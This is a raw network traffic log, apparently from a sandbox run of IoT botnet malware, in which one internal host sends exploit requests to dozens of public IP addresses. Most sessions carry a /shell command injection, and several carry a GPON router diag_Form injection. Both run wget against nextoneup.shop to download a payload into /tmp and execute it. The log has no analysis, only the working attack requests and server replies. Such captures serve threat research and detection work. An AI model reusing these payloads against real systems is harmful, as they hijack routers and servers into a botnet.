Apr 14, 2024 04:01:11.003557920 CEST	530	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:10 GMT Server: Apache/2 Content-Length: 315 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1517	192.168.2.23	45600	156.60.8.21	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.797452927 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.457866907 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.769752026 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:15.585304022 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:20.960541964 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:31.455200911 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:53.727952957 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1518	192.168.2.23	47210	23.205.56.152	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.812853098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.041790009 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:10 GMT Date: Sun, 14 Apr 2024 02:01:10 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 62 66 39 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 30 26 23 34 36 3b 31 39 34 38 39 66 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 62 66 39 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 30 26 23 34 36 3b 31 39 34 38 39 66 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.abf93117.1713060070.19489f4<P>https://errors.edgesuite.net/9.abf93117.1713060070.19489f4</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1519	192.168.2.23	42696	49.247.205.215	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.886569023 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.188500881 CEST	443	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:07 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1520	192.168.2.23	59982	45.196.124.25	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.919872046 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1521	192.168.2.23	37296	117.245.91.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.207118034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.648991108 CEST	336	IN	HTTP/1.0 404 Not Found Date: Sun, 14 Apr 2024 02:01:13 GMT Server: Boa/0.94.13 X-Frame-Options: SAMEORIGIN Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /shell was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1522	192.168.2.23	56874	107.187.209.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.789017916 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1523	192.168.2.23	59044	148.0.4.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.873081923 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.143266916 CEST	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Content-Language:en Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 14, 2024 04:01:12.143805027 CEST	1289	IN	Data Raw: 64 33 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d35<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:01:12.143850088 CEST	1289	IN	Data Raw: 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 3a 22 Data Ascii: ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortVa
Apr 14, 2024 04:01:12.144314051 CEST	851	IN	Data Raw: 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 65 20 Data Ascii: var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}el

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.23	36486	163.172.75.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.918385029 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.23	46180	20.123.230.185	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.929303885 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.23	45110	85.215.129.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.937690973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.269046068 CEST	188	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 14 Apr 2024 02:01:12 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.23	59180	186.202.153.8	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:11.951585054 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:12.298875093 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:12 GMT Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Content-Language: en Data Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 30 37 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 66 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0d 0a 31 31 0d 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 0d 0a 32 31 0d 0a 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 0d 0a 31 36 0d 0a 31 32 37 2e 30 2e 30 2e 31 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 0d 0a 39 0d 0a 0a 20 20 3c 73 70 61 6e 3e 0d 0a 32 31 Data Ascii: 1e<?xml version="1.0" encoding="afISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="een" xml:lang="13en"><head><title>38Object not found!</title><link rev="made" href="mailto:107root@localhost" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>1bObject not found!</h1><p>39 The requested URL was not found on this server. 57 If you entered the URL manually please check your spelling and try again. 29</p><p>48If you think this is a server error, please contactthe <a href="mailto:1froot@localhost">webmaster</a>.11</p><h2>Error 21404</h2><address> <a href="/">16127.0.0.1</a><br /> 9 <span>21
Apr 14, 2024 04:01:12.298908949 CEST	107	IN	Data Raw: 0d 0a 53 61 74 20 41 70 72 20 31 33 20 32 33 3a 30 31 3a 31 32 20 32 30 32 34 3c 62 72 20 2f 3e 0a 20 20 0d 0a 32 39 0d 0a 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: Sat Apr 13 23:01:12 2024<br /> 29Apache</span></address></body></html>10

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.23	48690	210.182.179.168	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.650036097 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.23	51906	109.238.90.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.650062084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.23	34264	5.233.228.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.650101900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.23	58000	118.176.218.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.650125027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.23	60398	202.240.181.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.650171995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.23	44520	156.241.108.91	37215

Timestamp	Bytes transferred	Direction	Data
